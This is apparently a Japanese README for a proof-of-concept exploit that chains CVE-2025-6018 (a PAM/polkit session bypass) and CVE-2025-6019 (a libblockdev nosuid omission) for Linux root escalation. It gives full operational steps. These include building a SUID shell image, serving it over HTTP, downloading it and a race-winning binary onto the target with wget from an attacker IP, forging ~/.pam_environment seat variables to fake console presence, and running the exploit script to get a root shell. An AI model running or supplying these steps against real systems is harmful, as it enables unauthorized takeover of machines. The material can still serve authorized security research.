
脆弱なLinuxシステム上でCVE-2025-6018 (PAM/Polkitアクティブセッションバイパス) と CVE-2025-6019 (libblockdev SUIDマウントの欠陥) を連鎖させ、rootアクセスを達成するための堅牢なProof of Concept(PoC)です。
このツールは教育目的および許可されたセキュリティ研究専用です。所有していない、または明示的な許可を得ていないシステムでは使用しないでください。
このエクスプロイトは、2つの論理的な欠陥を連鎖させ、一般ユーザーからrootへの権限昇格を実現します。
Active=yesとマークされる可能性があります。このトリックにより、システムはリモートユーザーが物理的にコンソールにいるものと認識し、udisks2などのハードウェア管理ツールに対するパスワード要件をバイパスします。libblockdevライブラリ(udisks2で使用)は、メンテナンス操作(CheckやResizeなど)のためにファイルシステムを一時的にマウントする際に、nosuidセキュリティフラグを適用しません。Active=yesセッションステータスを利用して、パスワードなしでこのイメージをループデバイスとしてマウントします。Filesystem.Checkを呼び出します。これによりudisks2がイメージを一時的にマウントして検証します。重要なのは、この一時マウントにはnosuidが欠落していることです。/proc/mountsをリアルタイムで監視します。一時マウントが現れた瞬間にSUIDペイロードを実行し、システムがアンマウントする前に完了させます。ターゲットマシンにはmkfs.xfsやgccなどのツールがないことが多いため、ペイロードはローカルで生成します。
Kali/Parrot上でビルドスクリプトを実行:
./build_poc.sh
exploit.img(SUIDシェルを含む400MBのXFSイメージ)を作成します。catcher(競合状態を制するプログラム)をコンパイルします。ファイルをターゲットにアップロード: Pythonサーバーを起動:
python3 -m http.server 80
ターゲットマシン上(例:/tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
エクスプロイトスクリプトをダウンロード:
このリポジトリからexploit.shの内容をターゲットマシンに保存します。
エクスプロイトを実行:
chmod +x exploit.sh
./exploit.sh
Root権限を入手: スクリプトは自動的にループデバイスのセットアップ、バックグラウンドでのcatcherの起動、脆弱性のトリガーを行います。直ちにrootシェルに落ちるはずです。
スクリプトがパスワードを要求する場合、SSHセッションがアクティブではありません。 修正方法:
~/.pam_environmentを作成:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Activeで確認します。Active=yesと表示されなければなりません。脆弱な時間枠は数ミリ秒しかありません。
build_poc.shに含まれています)を使用していることを確認してください。Bashループでは不十分です。Filesystem.Checkメソッドを使用します。これはResizeよりも信頼性が高いです。build_poc.sh (攻撃側)悪質なイメージの作成と静的バイナリのコンパイルを自動化します。
exploit.sh (ターゲット側)統括スクリプトです。以下の処理を行います:
catcherをバックグラウンドで起動。udisksctl経由でループデバイスをセットアップ。Filesystem.Check呼び出しをトリガー。